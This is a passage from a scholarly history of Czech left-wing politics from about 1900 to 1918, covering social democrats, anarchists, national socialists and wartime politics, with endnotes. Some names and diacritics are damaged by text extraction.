The final breakup of individual national social democratic segments occurs in the first decade of the twentieth century. The national disagreements mainly between the two strongest segments of the party—Czech and German—reach such proportions that they are no longer sustainable. Czech social democrats strive for a complete detachment of all organizations from the Austro-Hungarian structure, which causes frequent criticism on the platform of the Second International. The definitive breakup comes in connection with the declaration of independence by the Czechoslovak Trade Unions, formed in March of 1910 as the only trade union of the Czech social democrats. The August congress of the Second International held in Copenhagen in the same year condemns this step as damaging the internationalism of the social democrats,5 but the leaders of the Czechoslovak Social Democratic Workers' Party refuse to accept these objections. There is dissent within the party, when mainly certain Moravian social democratic organizations and associations insist on membership in the Trade Unions of Austria-Hungary. Following their expulsion from CˇSDSD, these organizations establish an independent political party—the Czech Social Democratic Party—which in professional literature is often labeled as centrist.6 Centrists become part of the Austro-Hungarian Party; however, their number, compared to the Czechoslovak Social Democratic Party, is very small.
Let me emphasize that the disagreements in the Social Democratic Party of Austria-Hungary were part of a more general trend, which started to become noticeable in the socialist movement and the Second International at the turn of the century. The movement starts to split and there arise at least three streams that take on an independent direction.
1. Reformists, a stream striving for a revision of the Marxist revolutionary program, gradually modified until the idea of a revolution was abandoned. Among its representatives were, for example, E. Bernstein in Germany and F. Modrácˇek in Bohemia. We can find reformists in an institutionalized form in the Russian Menshevik Party, and in Bohemia in the form of the Czechoslovak Social Democratic Workers' Party, established in 1919 (see chapter 3).
2. Centrists, a stream holding Marxist positions, but its practical steps are starting to divert from the Hainfeld program. Centrists formed the strongest segment of the international working-class movement.
3. The Left, which starts to emerge only gradually and until the end of WWI, appears in an institutionalized form only in the Bolshevik Party in Russia. The prominent representative of this stream was V.I. Uljanov-Lenin, who strived for the development of K. Marx's theories and their modification to specific historical and political conditions. The German social democrats K. Liebknecht and R. Luxemburg also leaned toward the Left. The authors of Prˇehled deˇjin Komunistické strany Cˇeskoslovenska attribute an affiliation to the social democratic Left also to the main figure of prewar CˇSDSD and the first chairman of the Communist Party of Czechoslovakia, Bohumír meral.7 However, this statement, considering meral's practical politics before as well as during WWI, cannot be taken seriously and it needs to be attributed to the time of the book's publication and also political interests. In spite of their disagreements, practically all of the movements' segments remain within the Second International.
Following the introduction of general suffrage (for men) during the Imperial Council election in 1905 (first applied in 1907), the Czechoslovak social democrats become the strongest Czech political party. Social democrats gained 37 percent of votes cast in Bohemia, but thanks to the electoral distribution, only 22 percent of the mandates. Thus, having won twenty-four mandates, they found themselves behind the Agrarian Party (twenty-eight mandates) and the National Liberal Party (twenty-six mandates). Only electoral reform and the connected spread of the right to vote enabled the Social Democratic Party to use to the fullest the potential of its organization's basic component, the workers' trade unions. However, the party is incapable of confirming this trend in the following election and loses five seats. The probable cause is steering away from revolutionary rhetoric and the leaning of practical politics under meral's leadership toward centrist positions. As early as in 1909, meral announces the party's demands, moving away from the Marxist idea of revolutionary change. meral declares two basic ideas:
1. Complete national autonomy for each of Austria's nationalities, based on the principle of personality in the national and cultural sense of the word.
2. Democratization, self-governance, and decentralization of the state administration and state institutions in all other aspects.8
According to meral, all nations of the monarchy should gain by the change (evolutionary rather than revolutionary) their own parliament and government for the matters of language and culture; all other matters would remain in the authority of the common institutions of Austria-Hungary.
Apart from abandoning the idea of revolution, shortly before the outbreak of WWI, CˇSDSD also begins to turn away, as do other national social democratic parties in Austria-Hungary, from its internationalism. At the party's last prewar congress (eleventh congress in December of 1913 in Žofín, Prague), social democrats support the need to maintain Austria-Hungary as a common state in its existing geographical boundaries: "The Czechoslovak Social Democratic Workers' Party considers this state to be the historical foundation of its activities and all other ideas . . . , commonly labeled with terms such as Pan-Germanism and political Pan-Slavism, are considered to be contradictory to the interests of the Czech workers."9
The general crisis of the social movement, which in the end culminated in the agreement of the national social democratic parties to war loans and dissension within the Second International, also affected the Czechoslovak social democrats. meral's leadership not only failed to stop the nationalization of the party, which only resulted in damage (see the previously mentioned results of the Imperial Council election in 1911), but meral himself became a staunch promoter of national (meaning Austrian) politics. In meral's defense, it needs to be noted that before 1914, there was not a strong enough opposition that would point out the disadvantages of turning away from internationalism. Even meral's future great ideological opponent, F. Modrácˇek, assumes a clearly pro-Austrian position in 1913, when declaring the following at the party's congress: "We Czechs, who suffered so much in this state, are a nation which has nowhere to run away to. . . . We exist in this state and we cannot rely on anyone."10 Entry into practical parliamentary politics and also the threat of German chauvinism placed the party in a difficult situation it was not capable of coping with quickly (for more details, refer to the next chapter).
The Anarchist Movement
If we look for the combination of culture and leftism in the prewar era, we find it in the Czech anarchist movement. As early as in the 1890s, probably the most expressive and persistent promoter of the narrow relationship between left-oriented politics and culture, Stanislav Kostka Neumann, identifies with the ideas of anarchism. At the turn of the century, part of the young intelligentsia gathers around his magazines Nový Kult and Zádruha, after previously being associated with the so-called modest socialist clubs—these were clubs that followed in the tracks of the Hnutí Omladiny (Youth Movement), which was closed down in 1899. For Neumann at this time, the combination of anarchism and culture was more ideological than a thing of practical politics. "Neumann considered anarchism mostly an ideological program rather than a political movement. The ideas of individualism and countering authority, belief in absolute freedom and the right to one's own ethical code corresponded with Neumann's art creed and ideas. . . . In this spirit, S.K. Neumann also founded the Nový Kult magazine with the motto outside and above everything and everyone."11
The group around Neumann, formed in Prague, was convinced of the special role of education and campaigning, which it also took up. These opinions can be found in Neumann's work following his association with communism. On these he even founded his activities in the cultural organizations connected to the Communist Party. Among the supporters of the Czech anarchist movement were Fránˇa rámek, Jirˇí Mahen, Karel Toman, František Gellner, František Kupka and others. However, the group was quite small in size. According to J. Tu˚ma, the Prague group represented a special case in the anarchist movement. "(In Prague) also small groups of petit bourgeoisie and radical artistic intelligentsia professed anarchism. Prague was the ideological center of the anarchist movement, while the north and the north-east of Bohemia represented its grassroots."12
Tu˚ma's mention of North Bohemia and the grassroots of the anarchist movement refers to the formation of independent anarchist trade unions in connection with the coal miners' strike in 1900. At the Duchcov conference held on September 2, 1900, these originally spontaneously formed clubs agree on the idea of establishing a separate trade union, independent of political parties. Anarchist unions, joined in a federation, represented several industries, mainly the mining, textile, and glassworking industries.
In this very liberal movement without any formal organization, both main groups, the Prague group and the North-Bohemian one,13 soon got into disagreement. In February of 1903, a dispute erupts at the Czech anarchists' congress in Most between the representative of the trade unions, K. Vohryzek, and the theoretical group led by S. K. Neumann. The root of the dispute was the role of trade unions in the anarchist movement. According to Neumann, trade unions are one of the means of influencing workers en masse, but not the only one, and it is not possible to keep them in a neutral position; instead, they should have a truly anarchist character, that is, they should be transformed into political unions. Neumann also criticized the underrating of theoretical work and campaigning. On the other hand, his opponents considered trade unions "merely" an intermediary during negotiations on improving working conditions for their members. The congress finally concluded with a compromise. "The proposal that the anarchists establish free groups focusing on education and campaigning was accepted; however, the congress results also fully endorsed the neutral orientation of trade unionism supporters."14
In 1904, both anarchist groups attempted to establish their own coordinating body. On November 27, the Czech Federation of All Trade Unions (hereinafter referred to as CˇFVO) is founded; around Christmas 1904, twenty-two anarchist groups are united in the Czech Anarchist Federation (hereinafter referred to as CˇAF). However, the membership of both federations was very small. According to some sources, CˇFVO consisted of approximately a thousand members.15 Although both organizations closely collaborated with each other, their job content was completely different. While trade unionists "emphasized the orientation towards economic struggle . . . , the Prague groups pressed the theoretical aspect of the anarchist movement and put first educational, promotional and agitation activities."16 In 1905, Neumann even attempted to publish a magazine called The Anarchist Revue; however, it had to be closed down in 1906 due to low readership numbers and a subsequent lack of resources to continue. At this time, most of Neumann's supporters from the same generation leave him.17
Disputes between the two main streams of the anarchist movement also continue in the following years. At the third congress of the Czech anarchists, R. Teˇsnohlídek comes with strong criticism of the CˇFVO. He speaks "against the idea of developing federalized trade unions, which, based on the principle of complete neutrality, would accept all workers regardless of their political opinions or nationality. . . . He also warns against overrating the importance of membership size and appeals to the tradition of anarchist groups which consisted only of class-conscious and informed members."18 On the one hand, in Teˇsnohlídek's speech we encounter signs of nationalism, which is in contradiction with the ideas of European anarchism, but also with an idea that is very significant for the following chapters. It is the idea of certain elitism, based on education and an understanding of the basic theoretical postulates of the revolutionary movement (in this case, an anarchist one). Similar opinions are presented by anarchists who after the war join the communist movement.
In the summer of 1907, a European anarchist congress was held in Amsterdam, at which "the domination of the collectivist orientation as well as the purposefulness of legal forms of organization was confirmed. . . . The delegates [from Bohemia, K. Vohryzek and L. Knotek] were recommended to organize mass antimilitarist struggles and set up antimilitarist sections."19 Based on the conclusions of the congress and in connection with the first antimilitarist congress of the national socialist youth in 1908, especially the young anarchist generation becomes more closely acquainted with some of the representatives of the socialist youth (E. patný, A. Hatina, J. Trnobranský). This combination has its importance with a view to future developments in the anarchist movement as well as inside the National Socialist Party.
At approximately the same time, the young generation of anarchists, represented mainly by B. Vrbenský, starts to oppose Vohryzek's leadership of CˇFVO and considers a transformation of the movement into a political party. This effort reaches a more specific form at the CˇAF congress in April of 1914, where the Federation of Czech Anarcho-Communists is founded, including both representatives of CˇAF and CˇFVO (the group around Vrbenský). Due to the outbreak of WWI and subsequent persecution by the Austrian authorities, the federation never launched its activities.
Anarchists did not play an important role on the Czech political scene, partially because of their small number, and also because of their refusal of the standard means of struggle for political power. It is not just about not wanting to take part in the elections, but also about rejecting the usual and purposeful forms of political organization. Thanks to these positions, anarchists did not succeed in uniting themselves in a political party which would represent the movement.20 With regard to the topic of this book, it is particularly the Czech Anarchist Federation organized by Neumann, which, in spite of its low membership, was especially significant, providing an umbrella for independent groups of theoreticians of culture and art, promoters of campaigning and education as the main means of winning the proletariat over.
National Socialists
The modernization of suffrage, connected with the suffrage reforms initiated by K. Badeni's government, previously mentioned in this chapter, also required the modernization of the inner works of political parties and the related modernization of the party system in the Czech lands. This causal relationship is most noticeable in the National Liberal Party, which, prior to the establishment of the fifth curia, was the dominant Czech political party. This monolith comprised supporters of various political orientations, who began to split from the party following the spread of suffrage rights. The very first party formed by way of secession from the National Liberal Party were the so-called national workers.
The foundation of this formation is directly linked to the entry of the Czechoslovak Social Democrats to the Imperial Council. Social democrats introduced their activity in the parliament's lower chamber by an "anti-sovereignty" proclamation, which was a reaction to the traditional demand for sovereignty by the Czech deputies upon entry to the Imperial Council. In their speech in March 1897, the social democrats condemned the sovereignty proclamation as digging for rusty historical privileges and documents.21 In an immediate reaction from part of the "bourgeois members of parliament," a political organization was established, which was to offer a similar program to that of the social democrats, and on top of that, it would also be a national organization. Already on April 4, 1897, a constitutive meeting of the so-called national workers is held at the Old Town Hall in Prague. The meeting was inspired by the Národní listy (the National Paper) editor, Václav Jaroslav Klofácˇ.22 A preparatory committee of a new political party was formed, led by F. Kvácˇa and A. Simonides. The newly established political party was called the National Workers' Party.
In April of the following year (April 9–11, 1898), the constitutive congress of the National Socialist Party in Bohemia, Moravia, Silesia, and Lower and Upper Austria was held. At the congress, the first official political program was passed for a party, which finally rid itself of the label of the left faction of the National Liberal Party and set out on an independent journey. National socialists demanded the declaration of a Czech state based on broad democracy. "The Czech national workers' movement is based on today's political, economic and social evils. Under political evil we understand bureaucratic centralism, the inadequate dominance of Germans and the exclusion of the wide masses from the administration of public affairs."23 National socialists demand the introduction of general suffrage, the right to self-determination of the Czech nation and religious freedom. One of the pillars of their program is also strong antimilitarism. On the other hand, they resolutely reject the internationalism of the social democrats as well as the Marxist teachings on revolution and the necessity to change ownership relations by force. Thus, the first non-Marxist left-wing party emerges in Bohemia, demanding democratization changes by way of reform instead of revolution. Unlike the social democrats, the national socialists profess the untouchability of private ownership and are also much more nationalistic.
In comparison with the social democrats, the national socialists had very weak trade unions (Czech Workers' Community), which was also a consequence of their "burghers' grassroots." The initially declared orientation toward blue collar voters was later expanded to small producers and tradesmen. The National Socialist Youth, established in 1901, gained a strong position within the party and took radical antimilitarist and anti-Austrian positions, which brought it into a parliamentary conflict with the state authority. Following the antimilitarist congress in 1908, the authorities struck against the National Socialist Youth, arresting the entire central committee of the organization and a number of supporters of the party. In the political trial that commenced on June 30, 1909, a total of forty-six people were sentenced for seditious activities.24
Already in the first election it had taken part in (Imperial Council election in January of 1901), the National Socialist Party achieved relative success by gaining four seats in the Imperial Council. Following the introduction of general suffrage, before the election in 1907, the party unites with the Radical State Rights Progressive Party and by winning nine seats becomes the fourth most powerful Czech political party. Finally, in the last Imperial Council election, the national socialists collaborate with the National Liberal Party, which secures them an increase in the number of parliamentary seats to fourteen.
According to the election results, it is clear that the national socialists, during their short existence, managed to constantly strengthen their position on the Czech political scene. V. J. Klofácˇ, who played the role of ideological leader of the party—although he was not the party's chairman—even had the ambition to become an integrative figure in the consolidation of a group of Czech burgher parties (more details on these aspirations will be provided in the next chapter). In spite of their relatively radical views, the national socialists were closer to the so-called burgher parties in the prewar era than to the social democrats, who they considered to be nonnational. To put it in simple terms, we could say that national orientation was more significant for them than socialist ideology.
Notes
1. Jan Galandauer, Od Hainfeldu ke vzniku Komunistické strany Cˇeskoslovenska (Prague: Svoboda, 1986), 108–9.
2. Galandauer, Od Hainfeldu, 110.
3. Galandauer, Od Hainfeldu, 137.
4. Prˇehled deˇjin Komunistické strany Cˇeskoslovenska (Prague: Státní nakladatelství politické literatury, 1957), 49.
5. The tally of the condemning vote on the Czech separatism was 222 to 5, with the votes against cast by delegates from Bohemia.
6. Zdeneˇk olle, "Sociálneˇdemokratická strana do roku 1918" in Prˇehled politického stranictví na území Cˇeských zemí a Cˇeskoslovenska v letech 1861–1998, Pavel Marek et al., 88–89 (Olomouc: Katedra politologie a evropských studií FF Univerzity Palackého, 2000).
7. olle, Prˇehled deˇjin Komunistické strany Cˇeskoslovenska, 44–45.
8. Galandauer, Od Hainfeldu, 172.
9. Galandauer, Od Hainfeldu, 212.
10. Galandauer, Od Hainfeldu, 227.
11. Renata Wohlgemuthová, "Prˇíspeˇvek k deˇjinám Cˇeského anarchistického hnutí v letech 1900–1914" in Rozpravy Akademie veˇd, rocˇník 81. sešit 8., 12 (Prague: Academia, 1971).
12. Tu˚ma's opinion of the group around Neumann is typical for communist analysts on the position of intelligentsia in the anarchist (but also later in the communist) movement. Only because these people do not make a living as workers (although many of them come from working class families), are they labeled "petit bourgeoisie," something a priori suspicious, or even dangerous. Jirˇí Tu˚ma, Na cesteˇ ke komunistické straneˇ (Liberec: Sverocˇeské nakladatelství, 1975), 9.
13. A certain influence of Czech anarchism can be traced in Vienna, Kladno, and Pilsen. Tu˚ma, Na cesteˇ ke komunistické straneˇ.
14. Wohlgemuthová, "Prˇíspeˇvek k deˇjinám," 28.
15. Wohlgemuthová, "Prˇíspeˇvek k deˇjinám," 32.
16. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 10.
17. Wohlgemuthová, "Prˇíspeˇvek k deˇjinám," 24.
18. Wohlgemuthová, "Prˇíspeˇvek k deˇjinám," 42.
19. Wohlgemuthová, "Prˇíspeˇvek k deˇjinám," 45.
20. Later, we will see that this was not achieved even after the establishment of Czechoslovakia.
21. Otto Urban, Cˇeská spolecˇnost 1848–1918 (Prague: Svoboda, 1982), 488.
22. His famous proclamation aimed at "non-national" social democrats: "We must keep on working until there is no red carnation left in Bohemia."
23. Jaroslav Petrus, Václav Klofácˇ (1868–1942) (Prague: Melantrich, 1992), 7.
24. František Klátil, Republika nad stranami (Prague: Melantrich, 1992), 44–46.
# Chapter 3
## Czech Political
Scene during WWI
Czech Politics Paralyzed in the Years 1914–1917
The entry of Austria-Hungary to World War I rendered an unexpected blow not only to the Czech political scene. Following the closing of the Imperial Council and the provincial assemblies on July 25, 19141 and the suspension of a number of civil rights (for example, the freedom of speech and assembly), within a short period of time political life was completely paralyzed. Censorship immediately focused its attention on the press of political parties. The parties' activities were also undermined by the total disruption of the membership base, which was the result of war mobilization and the drafting of the majority of active members to the front.2 It is thus understandable that most political parties concentrated only on maintaining their existence, all the more because the military regime used the tightened conditions of political life as a pretext for doing away with the actual, but also the alleged enemies of the regime.
"Already in the first days and weeks of WWI, several dozens of newspapers and magazines were closed down and a number of people, together with Václav Klofácˇ, leader of the National Socialist Party, as well as other opponents of Austrian militarism, were preventatively arrested."3 Gradually, representatives of various political movements found themselves in prison, from the anarchist communist Vrbenský to the nationalists Machar and Dyk. In May of 1915, in connection with measures against the rising pro-Russian or pan-Slavic tendencies among the inhabitants of the Czech lands, Karel Kramárˇ and the Sokol president, Josef Scheiner, were also arrested. While Scheiner was released after a few weeks, Kramárˇ, together with another prominent representative of the National Liberal Party, Alois Rašín, was sentenced to death for treason and espionage. Although the sentence was never carried out, not only the Young Czech Party, but also other political formations were so affected by the intervention by the authorities that until the amnesty or release (e.g., Klofácˇ was never sentenced) of their leaders, they were incapable of any major resistance.
Abroad, T. G. Masaryk, a representative of the Czech People's Party, gathers around himself a group of people seeking support for his idea of an independent Czechoslovakia. "Masaryk left the country with the trust of some members of his own party and several members of other bourgeois parties [mainly the marginal State Rights Progressive Party]; however, without the formal mandate from the main political parties of the Czech bourgeoisie."4 Masaryk's appeals to the Agrarian and the Young Czech parties to send their representatives into exile were left without a response. Therefore, Masaryk had to rely on a narrow circle of his colleagues—the former social-democratic correspondent Edvard Beneš, the Slovak Milan Rastislav tefánik, serving in France at the time, and the Russophile member of parliament for the Agrarian Party, Josef Dürich—with whom he formed in 1916 the Czechoslovak National Council, of which he became chairman.
On the domestic political scene, with the absence of the leaders of the burgher parties, another team of politicians is orchestrating a joint political effort. "Under the patronage of the doyen of Czech politicians, Karel Mattuš, of the Old Czech Party, with the active participation of the leader of the Agrarian Party, Antonín vehla, and leaders of the Young Czech Party activists, František Fiedler and Zdeneˇk Tobolka, and with the knowledge of the social democratic leadership, negotiations were under way for several months about . . . forming the National Partnership."5 These negotiations led to the establishment of the National Party, uniting the National Liberal Party, the Old Czech Party, the national socialists, and the Progressive Party. With the leading figures missing, the individual segments were unable to agree on a political agenda. With the departure of the national socialists and realists (the Progressive Party), the National Party ceases to exist before it began its real political activity.
At least a partial agreement was reached by representatives of the domestic political parties on November 19, 1916. Nine Czech and Moravian parties6 agreed to set up two organizations which were to coordinate Czech politics. The first was the Czech Union, consisting of members of the Imperial Council, the second being the Czech National Committee. The Czech Union, chaired by F. Staneˇk of the Agrarian Party, was not joined on the one hand by the pro-Austrian centrists, who from the beginning of the war acted in line with the pan-Austrian leadership of the social democrats, or on the other hand by the state rights party members and realists, who supported the exile efforts of T. G. Masaryk. In January of 1917, the Czech Union confirmed its pro-Austrian loyalty when, based on the initiative of the minister of foreign affairs, it told the U.S. President, W. Wilson, that it refused to accept the diplomatic note sent by the countries of the Alliance, which, among other war objectives, included the liberation of the Czech people from foreign domination. "Actions of the Czech Union, in which pro-Austrian activism culminated during WWI, were conducted with the knowledge and consent of the National Committee in Prague."7 The National Committee, headed by Karel Mattuš, managing director of the Zemská banka (Provincial Bank), was according to its founders supposed to coordinate a joint effort of the Czech political parties in all matters national. The pro-Austrian character of its activities encountered resistance from the general public and the National Committee in fact ceased to exist in 1917. However, this was preceded by events which significantly changed not only the Czech, but also the entire Austrian political scene.
The Czech Left in the Years 1914–1917
Convergence between the National Socialists and Anarchists
Naturally, the Czech left-wing parties were not spared the persecution by the Austrian authorities either. The first blow, as was mentioned in the previous chapter, was directed against the National Socialist Party. Already on September 2, 1914, the party press was closed down, two days later came the arrest of V. J. Klofácˇ, followed by other representatives of the party, who were sent to prison or detention camps. Thanks to the until then unprecedented persecution, within a few months the party ceased to exist, not only in terms of its membership base—which to various degrees was the case of other Czech parties as well—but also on the leadership level. "Until 1917, there can be no mention of the existence of this wrecked and scattered party. Imprisoned leaders, dispersed organization, halted press, men on the front lines or behind them, on the other side."8 At the beginning of the war, the party's continuity was maintained mainly by the younger generation, in which a young editor of Cˇeská demokracie (the Czech Democracy) magazine, Jirˇí Strˇíbrný, stood out. Young national socialists, who were critical of the neutral politics of the Czechoslovak Social Democratic Party, found a common ground with the anarchist communists, especially with the representatives of anarcho-syndicalism.
Anarcho-syndicalists rejected the introduction of any ideology into trade unionism (neutral trade unions) and in their activities they focused exclusively on gaining advantages for members of the trade unions, regardless of their political affiliation.9 Relations between young national socialists and anarchist are formed primarily based on unofficial contacts, often established in prison. For example, E. patný, A. Hatina, and J. Trnobranský met B. Vrbenský, M. Kácha, Cˇ. Körber, and T. Bartošek at the Gölersdorf detention camp in Lower Austria.10
Young national socialists and anarchists also try to establish contact with opposition groups, which gradually spring up in the Social Democratic Party. This topic is elaborated on in more detail in the section dedicated to the attempt to form a unified Czech Socialist Party.
The Czechoslovak Social Democratic Party in the Years 1914–1917
For the social democratic movement, the outbreak of WWI brought dissension and a virtual collapse of the united leadership represented by the Second International. Not even after the assassination of František Ferdinand, heir to the throne, did the representatives of the International's centrist leadership (Victor Adler, Karl Kautsky, and others) foresee the possibility of a war conflict.11 In spite of their declared antimilitarism, social democrats did not oppose the mobilization and supported the governments of individual national states. The social democrats in Austria were no exception. At the meeting called after the mobilization on July 28, 1914, the German delegates expressed their agreement with the war, while the Polish delegates demanded the declaration of war not only on Serbia, but also on Russia.12 The Czech delegation, consisting of B. meral, V. Tusar, F. Tomášek, and G. Habrman, did not take a clear pro-war position either. At the end of August 1914, a meeting of the International Socialist Bureau was held in Brussels (with CˇSDSD represented by A. Neˇmec), which only confirmed the fact that the international socialist democratic movement had fallen apart. Leaders of individual national parties stated that they were incapable of effectively and jointly opposing the war. This position, supported also by specific pro-war steps taken by individual national parties,13 meant in fact the end of the Second International.
Following the congress in Brussels comes the definitive end of the united Austrian social democracy, which results in the collapse of meral's concept of Austria's federalization. Feelings of smallness and despair befall meral. "Like by a strike of lightning, we faced events of immense measures."14 In his opinion, the most suitable and also the safest way out for Czechoslovak social democracy is to reduce the party's activities to a minimum both in terms of political as well as economic struggles, and focus only on social and charitable efforts and maintaining the party's continuity at the leadership level. An order was issued to stop the activities of local organizations.15 Practically until 1916, no major opposition in social democracy stood against this position, which can only be described as opportunistic.
The war and the resulting interventions of the authoritarian military regime in the political parties' activities16 put social democracy in a new situation. By losing its support of the international movement, the party sought room and also ties for itself on the Czech political scene. From the beginning of the war, Czech social democrats establish contact with politicians of other Czech political parties. As I have mentioned before, the party's representatives enter the National Committee, a panel of united Czech politics, with meral (together with Z. Tobolka of the Young Czech Party and A. vehla of the Agrarian Party) becoming a member of the leading threesome and a vice-chairman of the Czech Union in the Imperial Council. Social democracy becomes a partner respected by other Czech political parties, as confirmed by the negotiations on the form of the state rights declaration by Czech members of parliament upon entering the Imperial Council in 1917. In spite of the ideological shift which took place during the war, social democrats maintained the natural-law concept of the Czech nation's position within the monarchy, as opposed to the historical-law concept advocated by the other political parties. The negotiations resulted in the social democratic deputies joining the compromise text of the declaration, that is, the first factual and tangible proof of possible collaboration with other political parties.
Recovery of Political Life
Czech Politics in the Years 1917–1918
In connection with the February Revolution in Russia, the Austrian government decided to call a meeting of the Imperial Council. Czech public opinion stepped up its pressure on the political representation. This process culminated in an open letter to the Czech delegates at the Imperial Council, the so-called writers' manifesto of May 17, 1917, whose text was written by a poet, Jaroslav Kvapil. More than two hundred Czech artists and scientists openly called upon Czech politicians to advocate Czech interests at the Imperial Council. "Fulfill your sacred duty and defend Czech rights and Czech demands at this historic juncture, as your decisions will affect the destiny of the Czech people for centuries to come,"17 as stated in the Manifesto.
At that time, negotiations were under way in the Czech Union on a joint action at the Imperial Council. The problem was wording the state rights protest so that it could be supported even by social democrats. The result was a compromise, which at the first renewed Imperial Council meeting was read out by the chairman of the Czech Union, F. Staneˇk. Czech members of parliament expressed in it their conviction that the existing dualistic state created a governing and a suppressed nation and in order to do away with this national injustice, the monarchy needs to be transformed into a federal state of independent and self-governing national states.18 This compromise of a statement can be understood as a renouncement of the exile political efforts of T. G. Masaryk, as it considers reforms within the monarchy, but not the establishment of an independent state.
The second half of 1917 began with the release of the imprisoned leaders of the Czech bourgeois parties. In October, Kramárˇ and Rašín resume their leading positions in the Young Czech Party and initiate negotiations with other bourgeois parties on a merger. Similar efforts are also made by V. J. Klofácˇ; however, he soon admits that at the time of the internment of the Bloc of Bourgeois Parties, the National Socialist Party has already moved away too far. Negotiations on the integration of Czech bourgeois parties was finally concluded on February 9, 1918, with the merger of the National Liberal Party, the State Rights Progressive Party, the Progressive and Moravian People's Progressive Party and the formation of the Czech State Rights Democracy. In March, the united right-wing conservative party is also joined by the Old Czech Party.
At the beginning of 1918, the Czech political parties held a general congress of the Imperial Council members at the Municipal House in Prague. At the congress, members of the Imperial Council signed the so-called Three Kings Declaration, in which they advocated the idea of a nation's self-determination. Among other things, the declaration says:
Bitterly, we lament that our nation was stripped of its independence as well as its right to self-determination by artificial electoral regulations, subjected to the German minority and the German centralist bureaucracy. Our Slovak branch has become a victim of the Hungarian brutality. . . . We, deputies of the Czech nation, hereby declare that peace, which would not bring our nation justice and freedom, could not represent true peace for us, but the mere beginning of a new, massive and consistent struggle for the country's independence, in which the nation would exert all of its strength, material and moral, and would not cease until it achieved a happy ending.19
With this declaration, the Czech politics finally officially espoused Masaryk's exile activities.
In July of 1918, Masaryk initiated the reorganization of the National Committee, which was to launch preparations for the takeover of power in the state. "This step was taken following great hesitation, only when the Czechoslovak National Council was recognized by the French government as the Czechoslovak interim government on July 29."20 Unlike in its previous structure, the National Committee consisted of real personalities of Czech political life. The position of chairman was held by Karel Kramárˇ, its vice-chairmen were the agrarian Antonín vehla and the socialist Václav Klofácˇ. František Soukup, a representative of the social democrats, the remaining relevant political party in Bohemia, was appointed Secretary of the National Committee. In its individual work streams (e.g., constitutional, economic, etc.), the National Committee took steps to ensure a peaceful takeover of power.
Attempts at Integrating the Left-Wing Side of the Political Spectrum
Democratization of the political conditions in Austria in the first half of 1917 also stirred up the left-wing part of the Czech political spectrum. As early as in 1916, opposition is formed in the Social Democratic Party against the opportunist leadership of B. meral. The first movement, represented mainly by G. Habrman and L. Pik, can be considered nationalistic. Its supporters' goal was to remove meral from the party's leadership and bring the party closer to the bloc of Czech national radicalism. With this position, part of the Social Democratic Party drew closer to the national socialists. Another opposition movement within social democracy started to form around F. Modrácˇek, who gradually steered away from the basic axioms of Marxist teachings.
In the first half of 1917, the national socialists also resume their activities. Following his return from prison, on May 28, V. Klofácˇ takes up the role of party leader. At the end of June 1917, there appears a magazine called Czech Democracy,21 a platform mainly for young national socialists to publish. The magazine also provides room for opposition groups of the social democrats, who did not get a chance to publish their work in their own party press. It is on the platform of Czech Democracy where the first contact is established between national socialists and social democrats, who work toward a common program. The social democratic opposition also forms ties with the anarchists—contact between F. Modrácˇek and J. tych is mentioned, for example, by J. Tu˚ma.22 In the summer of 1917, it seems that the foundation of a future united left-wing party is starting to be formed; a party which should constitute a counterweight to the united bourgeois or Agrarian Party.
The events in the social democratic movement are strongly affected by the congress of the Second International in Stockholm in June of 1917, which tries to find possible solutions to the war conflict. The congress itself did not bring any breakthrough to the war's development or the socialist movement; besides, a number of streams and national parties did not even attend the congress. However, from the Czech point of view, it played an important role. "In Stockholm, representatives of the social democratic party—Neˇmec, Habrman and meral—personally met Professor Maxa, a representative of Masaryk's foreign resistance. Unlike the previous, mainly informative contacts between the exiled resistance movement and the home country, this was the first time that extensive and long-lasting political negotiations had taken place. While both Neˇmec and Habrman clearly supported the position of the foreign resistance, meral insisted on his skeptical position regarding Czechoslovak independence."23 Let it be said that the conference was also attended by Masaryk's social democratic supporters operating outside of Austria, Karel Pergler for example, on behalf of the Czech branch of the Socialist Party of America.
The Stockholm conference of the Second International and the participation of the Czech delegation further deepened disagreements within the social democratic movement. Pressure from the intraparty opposition on meral culminated in September of 1917 with his forced resignation. He was replaced in his position of the social democratic parliamentary club's chairman by G. Habrman, in the Czech Union by V. Klofácˇ, and in his position of chief editor of the Právo lidu (The Right of the People) paper by J. Stivín. The pro-Masaryk group around G. Habrman, R. Bechyneˇ, F. Soukup, J. Stivín, V. Tusar, and others takes over the lead of the Social Democratic Party.
However, not even with meral's resignation did social democracy manage to rid itself of the inner split. Already in August of 1917, the group around F. Modrácˇek proclaimed themselves to be the radical socialist opposition and came up with a non-Marxist program. Modrácˇek rejected one of the basic principles of Marxism—state socialism established by the confiscation of means of production. He proposed the establishment of a cooperative system instead. According to Modrácˇek, concentrating economic power in state hands is unsuitable, for in connection with political and legal power it would create a threat to the freedom of individuals and lead to the excessive growth of administration. Modrácˇek also started publishing his own magazines by the name of Socialistické listy (the Socialist Paper). The new leadership of social democracy deemed Modrácˇek's views unacceptable; however, no steps were taken. Modrácˇek's opinions were adopted by a group around Czech Democracy (J. Strˇíbrný, E. Franke), which temporarily took over control of the National Socialist Party during Klofácˇ's attempt to integrate a united bourgeois party. Klofácˇ, not realizing the party's transformation resulting from the influence of the young generation, thought that national socialists could be the basic building block around which a strong bourgeois party could be built under his leadership. Therefore, on August 19, 1917, he invited the representatives of most bourgeois parties to Luhacˇovice. However, the conference did not turn out to be a success, as mainly delegates from the National Liberal Party and the Moravian People's Party saw the integrating figure not in Klofácˇ, but in K. Kramárˇ.
I have already emphasized the role of Maffia's representatives during the formation of the Czech Democracy magazine. The main goal for Masaryk's supporters was to create a strong party, whose leadership Masaryk could take over upon his return. This party was to integrate the national socialists, social democrats (excluding meral), the Progressive Party, and with a certain degree of caution also the anarchists. It was Modrácˇek's previously mentioned program of cooperative socialism, with which the majority of national socialists identified themselves, that formed the foundations on which the integration could be built.
